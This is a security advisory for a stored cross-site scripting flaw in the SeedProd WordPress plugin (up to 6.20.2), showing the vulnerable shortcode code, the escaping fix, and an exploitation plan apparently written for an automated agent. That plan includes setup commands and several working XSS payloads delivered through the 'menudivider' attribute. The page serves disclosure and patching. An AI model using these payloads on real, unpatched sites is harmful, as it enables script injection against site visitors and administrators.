Website Builder by SeedProd - Theme Builder, Landing Page Builder, Coming Soon Page, Maintenance Mode <= 6.20.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'seedprodnestedmenuwidget' Shortcode
Description
The Website Builder by SeedProd - Theme Builder, Landing Page Builder, Coming Soon Page, Maintenance Mode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `seedprodnestedmenuwidget` shortcode in all versions up to, and including, 6.20.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v6.20.3
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-14785 ## 1. Vulnerability Summary The **Website Builder by SeedProd** plugin (<= 6.20.2) is vulnerable to **Authenticated (Contributor+) Stored Cross-Site Scripting (XSS)** via the `seedprodnestedmenuwidget` shortcode. The vulnerability exists because the plu…
Show full research plan
Exploitation Research Plan - CVE-2025-14785
1. Vulnerability Summary
The Website Builder by SeedProd plugin (<= 6.20.2) is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting (XSS) via the seedprodnestedmenuwidget shortcode. The vulnerability exists because the plugin fails to sanitize or escape the menudivider attribute before echoing it into the page content within a custom Menu Walker class. This allows an attacker with the ability to use shortcodes (Contributor level and above) to inject malicious JavaScript that executes when any user views the affected page.
2. Attack Vector Analysis
- Vulnerable Shortcode:
[seedprodnestedmenuwidget] - Vulnerable Attribute:
menudivider - Authentication Requirement: Contributor level or higher (any role capable of creating/editing posts and using shortcodes).
- Precondition: At least one WordPress Navigation Menu must exist, and the shortcode must reference it via the
menuattribute for the Walker class to be invoked.
3. Code Flow
- Entry Point: The shortcode is registered in
app/nestednavmenu.php:add_shortcode( 'seedprodnestedmenuwidget', 'seedprod_lite_wordpress_menuwidget' ); - Processing: The callback
seedprod_lite_wordpress_menuwidget($atts)(inapp/nestednavmenu.php) parses attributes:$menu_atts = shortcode_atts( array( 'menu' => '', 'menudivider' => '', 'layout' => 'h', ), $atts ); - Sink Preparation: If
menudivideris provided andlayoutis not 'v' (vertical), a newSeedProd_Lite_Menu_Walkeris instantiated with the raw$navmenu_seperator(themenudividerattribute):if ( true === $walker_divider ) { $args = array( 'menu' => $navmenu_name, ... 'walker' => new SeedProd_Lite_Menu_Walker( $navmenu_seperator ), ); } - The Sink: Inside the
SeedProd_Lite_Menu_Walkerclass inapp/nestednavmenu.php, theend_elmethod appends the separator directly to the$outputstring without any escaping:public function end_el( &$output, $item, $depth = 0, $args = array() ) { $output .= '</li>'; if ( 0 === $depth ) { if ( '' !== $this->separators ) { $output .= "<li class='separator menu-item'>" . $this->separators . '</li>'; } } }
4. Nonce Acquisition Strategy
This vulnerability is exploited by saving a post containing a shortcode. In standard WordPress environments:
- Authenticated (Contributor+): No specific plugin-level nonce is required to save a post via the Gutenberg or Classic editor. The standard WordPress
_wpnonceused in the post editor is sufficient. - Unauthenticated: Since this is a "Contributor+" vulnerability, unauthenticated exploitation is not directly supported by the shortcode path unless the plugin exposes an unauthenticated AJAX/REST endpoint that processes shortcodes (none identified in the provided source).
For the Automated Agent:
- Log in as a Contributor.
- The standard post creation flow handles nonces internally.
5. Exploitation Strategy
The goal is to create a post containing the malicious shortcode and verify that the payload executes.
Step 1: Create a Navigation Menu (via WP-CLI)
A menu must exist for the shortcode to render items and trigger the Walker's end_el method.
wp menu create "ExploitMenu"
wp menu item add-custom "ExploitMenu" "Home" "http://localhost/"
Step 2: Create a Contributor User
wp user create attacker attacker@example.com --role=contributor --user_pass=password123
Step 3: Inject the Payload
As the attacker user, create a post with the following shortcode payload:
Payload: [seedprodnestedmenuwidget menu="ExploitMenu" menudivider='<script>alert(document.domain)</script>']
HTTP Request (as Contributor):
Use http_request to submit a post.
- URL:
http://localhost:8080/wp-json/wp/v2/posts(or via standardpost-new.phpform). - Method:
POST - Body:
{ "title": "Vulnerable Page", "content": "[seedprodnestedmenuwidget menu=\"ExploitMenu\" menudivider=\"<script>alert(document.domain)</script>\"]", "status": "publish" }
Note: Contributors can usually only set status to pending, which is sufficient for an Admin to view and trigger the XSS.
Step 4: Trigger the XSS
Navigate to the newly created post URL as any user (e.g., Admin).
6. Test Data Setup
- Menu: "ExploitMenu" with at least one item.
- User: "attacker" with
contributorrole. - Post: A post/page containing:
[seedprodnestedmenuwidget menu="ExploitMenu" menudivider='<img src=x onerror=alert(1)>'].
7. Expected Results
When the page is rendered, the HTML source should contain:
<li class='separator menu-item'><script>alert(document.domain)</script></li>
A JavaScript alert box showing the domain will appear in the browser.
8. Verification Steps
- Check Post Content:
wp post list --post_type=post --format=csv | grep "Vulnerable Page" - Verify Output via
http_request:
Fetch the frontend URL of the post and search for the raw payload string<script>alert(document.domain)</script>.
9. Alternative Approaches
If the standard menudivider attribute is filtered by WordPress core's shortcode parser (unlikely), try breaking out of the <li> tag:
- Payload 2:
[seedprodnestedmenuwidget menu="ExploitMenu" menudivider='</li></ul><script>alert(1)</script><ul><li>'] - Payload 3 (Event Handler):
[seedprodnestedmenuwidget menu="ExploitMenu" menudivider='<img src=x onerror=alert(1)>']
If the plugin's "Theme Builder" is active, look for AJAX actions like seedprod_lite_v2_create_template in admin/class-seedprod-admin.php which might allow similar injection via page-builder metadata.
Summary
The Website Builder by SeedProd plugin (<= 6.20.2) is vulnerable to Stored Cross-Site Scripting via the 'seedprodnestedmenuwidget' shortcode. Authenticated users with Contributor-level permissions and above can inject arbitrary web scripts into pages via the 'menudivider' attribute, which is rendered without proper sanitization or output escaping.
Vulnerable Code
// app/nestednavmenu.php line 77 public function end_el( &$output, $item, $depth = 0, $args = array() ) { $output .= '</li>'; if ( 0 === $depth ) { if ( '' !== $this->separators ) { $output .= "<li class='separator menu-item'>" . $this->separators . '</li>'; } } } --- // app/nestednavmenu.php line 111 $navmenu_seperator = ''; if ( isset( $menu_atts['menudivider'] ) ) { $navmenu_seperator = $menu_atts['menudivider']; }
Security Fix
@@ -77,7 +77,7 @@ if ( 0 === $depth ) { if ( '' !== $this->separators ) { - $output .= "<li class='separator menu-item'>" . $this->separators . '</li>'; + $output .= "<li class='separator menu-item'>" . esc_html( $this->separators ) . '</li>'; } } } @@ -111,7 +111,7 @@ } $navmenu_seperator = ''; if ( isset( $menu_atts['menudivider'] ) ) { - $navmenu_seperator = $menu_atts['menudivider']; + $navmenu_seperator = sanitize_text_field( $menu_atts['menudivider'] ); } $layout = ''; if ( isset( $menu_atts['layout'] ) ) {
Exploit Outline
1. Authentication: Log in as a user with at least Contributor level permissions (capable of using shortcodes in posts). 2. Precondition: Ensure at least one WordPress Navigation Menu exists (e.g., 'Primary Menu'). 3. Injection: Create or edit a post and insert the following shortcode: [seedprodnestedmenuwidget menu="Primary Menu" menudivider="<script>alert(document.domain)</script>"]. 4. Trigger: Save the post (as a draft or for review). When an Administrator or any other user views the post/page on the frontend or in a preview, the script provided in the 'menudivider' attribute will execute in their browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.